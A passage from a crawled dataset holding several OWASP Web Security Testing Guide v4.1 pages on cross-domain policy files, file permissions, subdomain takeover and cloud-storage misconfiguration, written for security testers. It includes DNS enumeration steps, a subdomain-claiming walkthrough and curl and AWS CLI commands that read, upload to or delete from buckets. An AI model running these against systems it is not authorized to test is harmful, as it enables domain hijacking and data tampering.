"https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test RIA Cross Domain Policy"}, {"uroven": 2, "text": "Summary"}, {"uroven": 3, "text": "What are cross-domain policy files?"}, {"uroven": 4, "text": "Crossdomain.xml vs. Clientaccesspolicy.xml"}, {"uroven": 3, "text": "How can cross domain policy files can be abused?"}, {"uroven": 3, "text": "Impact of Abusing Cross-Domain Access"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for RIA Policy Files Weakness"}, {"uroven": 4, "text": "Example"}, {"uroven": 5, "text": "Result Expected"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Test RIA Cross Domain Policy\n\n| ID |\n| --- |\n| WSTG-CONF-08 |\n\n## Summary\n\nRich Internet Applications (RIA) have adopted Adobe’s crossdomain.xml policy files to allow for controlled cross domain access to data and service consumption using technologies such as Oracle Java, Silverlight, and Adobe Flash. Therefore, a domain can grant remote access to its services from a different domain. However, often the policy files that describe the access restrictions are poorly configured. Poor configuration of the policy files enables Cross-site Request Forgery attacks, and may allow third parties to access sensitive data meant for the user.\n\n### What are cross-domain policy files?\n\nA cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader, etc. use to access data across different domains. For Silverlight, Microsoft adopted a subset of the Adobe’s crossdomain.xml, and additionally created it’s own cross-domain policy file: clientaccesspolicy.xml.\n\nWhenever a web client detects that a resource has to be requested from other domain, it will first look for a policy file in the target domain to determine if performing cross-domain requests, including headers, and socket-based connections are allowed.\n\nMaster policy files are located at the domain’s root. A client may be instructed to load a different policy file but it will always check the master policy file first to ensure that the master policy file permits the requested policy file.\n\n#### Crossdomain.xml vs. Clientaccesspolicy.xml\n\nMost RIA applications support crossdomain.xml. However in the case of Silverlight, it will only work if the crossdomain.xml specifies that access is allowed from any domain. For more granular control with Silverlight, clientaccesspolicy.xml must be used.\n\nPolicy files grant several types of permissions:\n\n- Accepted policy files (Master policy files can disable or restrict specific policy files)\n- Sockets permissions\n- Header permissions\n- HTTP/HTTPS access permissions\n- Allowing access based on cryptographic credentials\n\nAn example of an overly permissive policy file:\n\n```\n \n```\n\n### How can cross domain policy files can be abused?\n\n- Overly permissive cross-domain policies.\n- Generating server responses that may be treated as cross-domain policy files.\n- Using file upload functionality to upload files that may be treated as cross-domain policy files.\n\n### Impact of Abusing Cross-Domain Access\n\n- Defeat CSRF protections.\n- Read data restricted or otherwise protected by cross-origin policies.\n\n## How to Test\n\n### Testing for RIA Policy Files Weakness\n\nTo test for RIA policy file weakness the tester should try to retrieve the policy files crossdomain.xml and clientaccesspolicy.xml from the application’s root, and from every folder found.\n\nFor example, if the application’s URL is `http://www.owasp.org`, the tester should try to download the files `http://www.owasp.org/crossdomain.xml` and `http://www.owasp.org/clientaccesspolicy.xml`.\n\nAfter retrieving all the policy files, the permissions allowed should be be checked under the least privilege principle. Requests should only come from the domains, ports, or protocols that are necessary. Overly permissive policies should be avoided. Policies with `*` in them should be closely examined.\n\n#### Example\n\n```\n \n```\n\n##### Result Expected\n\n- A list of policy files found.\n- A list of weak settings in the policies.\n\n## Tools\n\n- Nikto\n- OWASP Zed Attack Proxy Project\n- W3af\n\n## References\n\n### Whitepapers\n\nUCSD: [Analyzing the Crossdomain Policies of Flash Applications](http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf)\n\n- Adobe: [“Cross-domain policy file specification”](http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html)\n- Adobe: [“Cross-domain policy file usage recommendations for Flash Player”](http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html)\n- Oracle: [“Cross-Domain XML Support”](http://www.oracle.com/technetwork/java/javase/plugin2-142482.html#CROSSDOMAINXML)\n- MSDN: [“Making a Service Available Across Domain Boundaries”](http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx)\n- MSDN: [“Network Security Access Restrictions in Silverlight”](http://msdn.microsoft.com/en-us/library/cc645032(v=vs.95).aspx)\n- Stefan Esser: [“Poking new holes with Flash Crossdomain Policy Files”](http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html)\n- Jeremiah Grossman: [“Crossdomain.xml Invites Cross-site Mayhem”](http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html)\n- Google Doctype: [“Introduction to Flash security”](http://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurity)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5123, "slov": 632, "odkazu": 184, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:04", "sha256": "fed9d010b68e14cf747b67166eb9a5c8a54657862ac7bc3dac3f12bcc1f08988", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://cseweb.ucsd.edu/~hovav/dist/crossdomain.pdf", "http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html", "http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html", "http://www.oracle.com/technetwork/java/javase/plugin2-142482.html", "http://msdn.microsoft.com/en-us/library/cc197955(v=vs.95).aspx", "http://msdn.microsoft.com/en-us/library/cc645032(v=vs.95).aspx", "http://www.hardened-php.net/library/poking_new_holes_with_flash_crossdomain_policy_files.html", "http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html", "http://code.google.com/p/doctype-mirror/wiki/ArticleFlashSecurity", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test File Permission"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Test File Permission\n\n| ID |\n| --- |\n| WSTG-CONF-09 |\n\n## Summary\n\nWhen a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data.\n\nA clear example is an execution file that is executable by unauthorized users. For another example, account information or a token value to access an API - increasingly seen in modern web services or microservices - may be stored in a configuration file whose permissions are set to world-readable from the installation by default. Such sensitive data can be exposed by internal malicious actors of the host or by a remote attacker who compromised the service with other vulnerabilities but obtained only a normal user privilege.\n\n## How to Test\n\nIn Linux, use `ls` command to check the file permissions. Alternatively, `namei` can also be used to recursively list file permissions.\n\n`$ namei -l /PathToCheck/`\n\nThe files and directories that require file permission testing include but are not limited to:\n\n- Web files/directory\n- Configuration files/directory\n- Sensitive files (encrypted data, password, key)/directory\n- Log files (security logs, operation logs, admin logs)/directory\n- Executables (scripts, EXE, JAR, class, PHP, ASP)/directory\n- Database files/directory\n- Temp files /directory\n- Upload files/directory\n\n## Tools\n\n- [Windows AccessEnum](https://technet.microsoft.com/en-us/sysinternals/accessenum)\n- [Windows AccessChk](https://technet.microsoft.com/en-us/sysinternals/accesschk)\n- [Linux namei](https://linux.die.net/man/1/namei)\n\n## Remediation\n\nSet the permissions of the files and directories properly so that unauthorized users cannot access critical resources unnecessarily.\n\n## References\n\n- [CWE-732: Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2094, "slov": 263, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:05", "sha256": "46fcdd8c97f940a95d3790b3b26dfa5b02cc0f4964adf8b4d0ab54240b5e8b8c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://technet.microsoft.com/en-us/sysinternals/accessenum", "https://technet.microsoft.com/en-us/sysinternals/accesschk", "https://linux.die.net/man/1/namei", "https://cwe.mitre.org/data/definitions/732.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test for Subdomain Takeover"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example1 - GitHub"}, {"uroven": 2, "text": "Example2 - Expired Domain"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Testing DNS A, CNAME Record Subdomain Takeover"}, {"uroven": 4, "text": "Testing NS Record Subdomain Takeover"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Test for Subdomain Takeover\n\n| ID |\n| --- |\n| WSTG-CONF-10 |\n\n## Summary\n\nA successful exploitation of this kind of vulnerability allows an adversary to claim and take control of the victim’s subdomain. This attack relies on the following:\n\n1. The victim’s external DNS server subdomain record is configured to point to a non-existing or non-active resource/external service/endpoint. The proliferation of XaaS (Anything as a Service) products and public cloud services offer a lot of potential targets to consider.\n2. The service provider hosting the resource/external service/endpoint does not handle subdomain ownership verification properly.\n\nIf the subdomain takeover is successful a wide variety of attacks are possible (serving malicious content, phising, stealing user session cookies, credentials, etc.). This vulnerability could be exploited for a wide variety of DNS resource records including: A, CNAME, MX, NS, etc. In terms of the attack severity an NS subdomain takeover (although less likely) has the highest impact because a successful attack could result in full control over the whole DNS zone and the victim’s domain.\n\n## Example1 - GitHub\n\n1. The victim (victim.com) uses GitHub for development and configured a DNS record (coderepo.victim.com) to access it.\n2. The victim decides to migrate their code repository from GitHub to a commercial platform and does not remove coderepo.victim.com from their DNS server.\n3. An adversary finds out that coderepo.victim.com is hosted on GitHub and uses GitHub Pages to claim coderepo.victim.com using his/her GitHub account.\n\n## Example2 - Expired Domain\n\n1. The victim (victim.com) owns another domain (victimotherdomain.com) and uses a CNAME record (www) to reference the other domain ( `www.victim.com` –> `victimotherdomain.com` )\n2. At some point, victimotherdomain.com expires and is available for registration by anyone. Since the CNAME record is not deleted from the victim.com DNS zone, anyone who registers `victimotherdomain.com` has full control over `www.victim.com` until the DNS record is present.\n\n## How to Test\n\n### Black-Box Testing\n\nThe first step is to enumerate the victim DNS servers and resource records. There are multiple ways to accomplish this task, for example DNS enumeration using a list of common subdomains dictionary, DNS brute force or using web search engines and other OSINT data sources.\n\n| Using the dig command the tester looks for the following DNS server response messages that warrant further investigation: NXDOMAIN | SERVFAIL | REFUSED | no servers could be reached. |\n| --- | --- | --- | --- |\n\n#### Testing DNS A, CNAME Record Subdomain Takeover\n\nPerform a basic DNS enumeration on the victim’s domain (victim.com) using dnsrecon:\n\n```\n$ ./dnsrecon.py -d victim.com\n[*] Performing General Enumeration of Domain: victim.com\n...\n[-] DNSSEC is not configured for victim.com\n[*] A subdomain.victim.com 192.30.252.153\n[*] CNAME subdomain1.victim.com fictioussubdomain.victim.com\n...\n```\n\nIdentify which DNS resource records are dead and point to inactive/not-used services. Using the dig command for the CNAME record:\n\n```\n$ dig CNAME fictioussubdomain.victim.com\n; <<>> DiG 9.10.3-P4-Ubuntu <<>> ns victim.com\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 42950\n;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1\n```\n\nThe following DNS responses warrant further investigation: NXDOMAIN\n\nTo test the A record the tester performs a whois database lookup and identifies GitHub as the service provider:\n\n```\n$ whois 192.30.252.153 | grep \"OrgName\"\nOrgName: GitHub, Inc.\n```\n\nThe tester visits subdomain.victim.com or issues a HTTP GET request which returns a “404 - File not found” response which is a clear indication of the vulnerability.\n\n*Figure 4.2.10-1: GitHub 404 File Not Found response*\n\nThe tester claims the domain using GitHub Pages:\n\n*Figure 4.2.10-2: GitHub claim domain*\n\n#### Testing NS Record Subdomain Takeover\n\nIdentify all nameservers for the domain in scope:\n\n```\n$ dig ns victim.com +short\nns1.victim.com\nnameserver.expireddomain.com\n```\n\nIn this fictious example the tester checks if the domain expireddomain.com is active with a domain registrar search. If the domain is available for purchase the subdomain is vulnerable.\n\nThe following DNS responses warrant further investigation: SERVFAIL/REFUSED\n\n### Gray-Box Testing\n\nThe tester has the DNS zone file available which means DNS enumeration is not necessary. The testing methodology is the same.\n\n## Remediation\n\nTo mitigate the risk of subdomain takeover the vulnerable DNS resource record(s) should be removed from the DNS zone. Continous monitoring and periodic checks are recommended as best practice.\n\n## References\n\n1. [HackerOne - A Guide To Subdomain Takeovers](https://www.hackerone.com/blog/Guide-Subdomain-Takeovers)\n2. [Subdomain Takeover: Basics](https://0xpatrik.com/subdomain-takeover-basics/)\n3. [Subdomain Takeover: Going beyond CNAME](https://0xpatrik.com/subdomain-takeover-ns/)\n4. [OWASP AppSec Europe 2017 - Frans Rosén: DNS hijacking using cloud providers – no verification needed](https://2017.appsec.eu/presos/Developer/DNS%20hijacking%20using%20cloud%20providers%20%E2%80%93%20no%20verification%20needed%20-%20Frans%20Rosen%20-%20OWASP_AppSec-Eu_2017.pdf)\n\n## Tools\n\n1. [dig - man page](https://linux.die.net/man/1/dig)\n2. [recon-ng - Web Reconnaissance framework](https://github.com/lanmaster53/recon-ng)\n3. [theHarvester - OSINT intelligence gathering tool](https://github.com/laramies/theHarvester)\n4. [Sublist3r - OSINT subdomain enumeration tool](https://github.com/aboul3la/Sublist3r)\n5. [dnsrecon - DNS Enumeration Script](https://github.com/darkoperator/dnsrecon)\n6. [OWASP Amass DNS enumeration](https://github.com/OWASP/Amass)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5742, "slov": 767, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:06", "sha256": "4db0b910f4d6bcbd84eb54ebdef9b583ff4cff6cf6c3b6d487947aeeeedf0876", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.hackerone.com/blog/Guide-Subdomain-Takeovers", "https://0xpatrik.com/subdomain-takeover-basics/", "https://0xpatrik.com/subdomain-takeover-ns/", "https://2017.appsec.eu/presos/Developer/DNS%20hijacking%20using%20cloud%20providers%20%E2%80%93%20no%20verification%20needed%20-%20Frans%20Rosen%20-%20OWASP_AppSec-Eu_2017.pdf", "https://linux.die.net/man/1/dig", "https://github.com/lanmaster53/recon-ng", "https://github.com/laramies/theHarvester", "https://github.com/aboul3la/Sublist3r", "https://github.com/darkoperator/dnsrecon", "https://github.com/OWASP/Amass", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Cloud Storage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Amazon S3 Bucket Misconfiguration"}, {"uroven": 4, "text": "Identify Bucket URL"}, {"uroven": 4, "text": "Testing with AWS CLI Tool"}, {"uroven": 5, "text": "List"}, {"uroven": 5, "text": "Upload"}, {"uroven": 5, "text": "Remove"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Test Cloud Storage\n\n| ID |\n| --- |\n| WSTG-CONF-11 |\n\n## Summary\n\nCloud storage services facilitate web application and services to store and access objects in the storage service. Improper access control configuration, however, may result in sensitive information exposure, data being tampered, or unauthorized access.\n\nA known example is where an Amazon S3 bucket is misconfigured, although the other cloud storage services may also be exposed to similar risks. By default, all S3 buckets are private and can be accessed only by users that are explicitly granted access. Users can grant public access to both the bucket itself and to individual objects stored within that bucket. This may lead to an unauthorized user being able to upload new files, modify or read stored files.\n\n## Test Objectives\n\nAssess whether Cloud Storage Service’s access control configuration is properly in place.\n\n## How to Test\n\nFirst identify the URL to access the data in the storage service, and then consider the following tests:\n\n- read the unauthorized data\n- upload a new arbitrary file\n\nYou may use curl for the tests with the following commands and see if unauthorized actions can be performed successfully.\n\nTo test the ability to read an object:\n\n`curl -X GET https:///`\n\nTo test the ability to upload a file:\n\n`curl -X PUT -d 'test' 'https:///test.txt'`\n\n### Testing for Amazon S3 Bucket Misconfiguration\n\nThe Amazon S3 bucket URLs follow one of two formats, either virtual host style or path-style.\n\n- Virtual Hosted Style Access\n\n`https://bucket-name.s3.Region.amazonaws.com/key-name`\n\nIn the following example, `my-bucket` is the bucket name, `us-west-2` is the region, and `puppy.png` is the key-name:\n\n`https://my-bucket.s3.us-west-2.amazonaws.com/puppy.png`\n\n- Path-Style Access\n\n`https://s3.Region.amazonaws.com/bucket-name/key-name`\n\nAs above, in the following example, `my-bucket` is the bucket name, `us-west-2` is the region, and `puppy.png` is the key-name:\n\n`https://s3.us-west-2.amazonaws.com/my-bucket/puppy.jpg`\n\nFor some regions, the legacy global endpoint that does not specify a region-specific endpoint can be used. Its format is also either virtual hosted style or path-style.\n\n- Virtual Hosted Style Access\n\n`https://bucket-name.s3.amazonaws.com`\n\n- Path-Style Access\n\n`https://s3.amazonaws.com/bucket-name`\n\n#### Identify Bucket URL\n\nFor black-box testing, S3 URLs can be found in the HTTP messages. The following example shows a bucket URL is sent in the `img` tag in a HTTP response.\n\n```\n...\n\n...\n```\n\nFor gray-box testing, you can obtain bucket URLs from Amazon’s web interface, documents, source code, or any other available sources.\n\n#### Testing with AWS CLI Tool\n\nIn addition to testing with curl, you can also test with the AWS Command Line Interface (CLI) tool. In this case `s3://` protocol is used.\n\n##### List\n\nThe following command lists all the objects of the bucket when it is configured public.\n\n`aws s3 ls s3://`\n\n##### Upload\n\nThe following is the command to upload a file\n\n`aws s3 cp arbitrary-file s3://bucket-name/path-to-save`\n\nThis example shows the result when the upload has been successful.\n\n```\n$ aws s3 cp test.txt s3://bucket-name/test.txt\nupload: ./test.txt to s3://bucket-name/test.txt\n```\n\nThis example shows the result when the upload has failed.\n\n```\n$ aws s3 cp test.txt s3://bucket-name/test.txt\nupload failed: ./test2.txt to s3://bucket-name/test2.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied\n```\n\n##### Remove\n\nThe following is the command to remove an object\n\n`aws s3 rm s3://bucket-name/object-to-remove`\n\n## Tools\n\n- [AWS Command Line Interface](https://aws.amazon.com/cli/)\n\n## References\n\n- [Working with Amazon S3 Buckets](https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3888, "slov": 567, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:07", "sha256": "87050c056125848559e9bf59479911c2bff5215cbeaadde0cc60ee2b6dc6b15f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://aws.amazon.com/cli/", "https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingBucket.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.2 Configuration and Deployment Management Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.2 Configuration and Deployment Management Testing\n\n4.2.1 [Test Network Infrastructure Configuration](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/01-Test_Network_Infrastructure_Configuration)\n\n4.2.2 [Test Application Platform Configuration](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/02-Test_Application_Platform_Configuration)\n\n4.2.3 [Test File Extensions Handling for Sensitive Information](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/03-Test_File_Extensions_Handling_for_Sensitive_Information)\n\n4.2.4 [Review Old Backup and Unreferenced Files for Sensitive Information](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/04-Review_Old_Backup_and_Unreferenced_Files_for_Sensitive_Information)\n\n4.2.5 [Enumerate Infrastructure and Application Admin Interfaces](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/05-Enumerate_Infrastructure_and_Application_Admin_Interfaces)\n\n4.2.6 [Test HTTP Methods](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods)\n\n4.2.7 [Test HTTP Strict Transport Security](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/07-Test_HTTP_Strict_Transport_Security)\n\n4.2.8 [Test RIA Cross Domain Policy](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy)\n\n4.2.9 [Test File Permission](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/09-Test_File_Permission)\n\n4.2.10 [Test for Subdomain Takeover](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover)\n\n4.2.11 [Test Cloud Storage](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/11-Test_Cloud_Storage)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2546, "slov": 162, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:56", "sha256": "0856ed31d7513f253c687749255587d3e91e0025e77d49e47d9788140a08c950", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/01-Test_Role_Definitions", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Test Role Definitions"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 2, 